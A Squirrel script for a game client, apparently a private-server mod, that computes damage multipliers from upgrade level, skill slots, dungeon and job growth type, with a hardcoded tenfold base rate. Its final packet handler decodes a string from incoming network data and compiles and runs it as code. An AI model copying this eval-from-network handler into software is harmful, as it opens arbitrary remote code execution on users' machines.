/* 文件名:GetCurrentModuleDamageRate.nut 路径:character/GetCurrentModuleDamageRate.nut 创建日期:2022-11-12 19:42 文件用途:提升伤害 */ //获取强化增幅提升率 function SetUpgradeRate() { local Rate = [ [0, 1.0], [1, 1.02], [2, 1.03], [3, 1.04], [4, 1.05], [5, 1.06], [6, 1.07], [7, 1.08], [8, 1.09], [9, 1.10], [10, 1.10], [11, 1.20], [12, 1.40], [13, 1.60], [14, 2.20], [15, 3.40], ]; local RootTable = getroottable(); local Level = L_sq_GetCharacterAttribute(0x1054, 1); RootTable.rawset("UpgradeRate", Rate[Level][1] - 1.0); } //最终伤害 function GetOverDamgeRate(obj) { return (obj.sq_GetIntData(169, 1).tofloat() / 100.0); } //-------------------------------------------------------------------------------------------------黄字追加伤害 function GetYellowAddDamageRate(obj) { local YellowAdd = obj.getVar("YellowAdd"); YellowAdd.clear_vector(); local YellowAddRate = YellowAdd.getInt(0); //黄字追加伤害初始值 //----------------------------------------------------------------------------技能栏手搓伤害增加率 local SkillSlot = obj.getVar("SkillSlot"); local SkillSlotRate = (12 - SkillSlot.getInt(0)) * 5; YellowAdd.setInt(0, SkillSlotRate); //---------------------------------------------------------------------------- return YellowAddRate; } //-------------------------------------------------------------------------------------------------黄字追加伤害 function getCurrentModuleDamageRate(obj) { if (!obj) return 1.0; local rate = 10.0; local UpgradeRate = getroottable()["UpgradeRate"]; rate += (GetYellowAddDamageRate(obj).tofloat() / 100.0); //追加黄字 //强化增伤 //最终增伤 //rate *= 1 + UpgradeRate + GetOverDamgeRate(obj); return rate; } if (!getroottable().rawin("DungeonIndex")) DungeonIndex <- []; if (!getroottable().rawin("GrowType")) GrowType <- []; function L_getCurrentModuleDamageRate(obj) { if (!obj) return 1.0; local rate; if (getroottable().rawin("LenheartCurrentModuleDamageRate")) { rate = 1.0 + getroottable()["LenheartCurrentModuleDamageRate"]; } else { rate = 1.0; } local AncientAttackHit = obj.getVar("AncientAttackHit"); local AncientAttackRate = AncientAttackHit.getInt(10).tofloat() / 1000.0; local ClientRat = 1.0; try { ClientRat = getCurrentModuleDamageRate(obj).tofloat(); } catch (exception) { ClientRat = 1.0; } local stage = sq_GetGlobaludpModuleStage(); local dungeon = sq_GetDungeonByStage(stage); local dungeonIndex = sq_GetDuegonIndex(dungeon); local fbsh = 100; foreach(id in DungeonIndex) { if (dungeonIndex == id[0]) { fbsh = id[1]; } } local nrate = fbsh.tofloat() / 100.0; rate = rate.tofloat() * nrate; local LLJob = sq_getJob(obj); local LLGrowT = sq_getGrowType(obj); local LLLen = GrowType.len(); for (local i = 0; i< 11; ++i) { if (i == LLLen) break; if (LLJob == i) { foreach(GR in GrowType[i]) { if (LLGrowT == GR[0]) rate = rate.tofloat() * GR[1].tofloat(); } } } return (rate * ClientRat) + AncientAttackRate; } function GetMyDamageRateByLenheart(Chunk) { local Jso = Json.Decode(Chunk); local str = Jso.sh; local Func = compilestring(str); Func(); } Pack_Control.rawset(20058002, GetMyDamageRateByLenheart);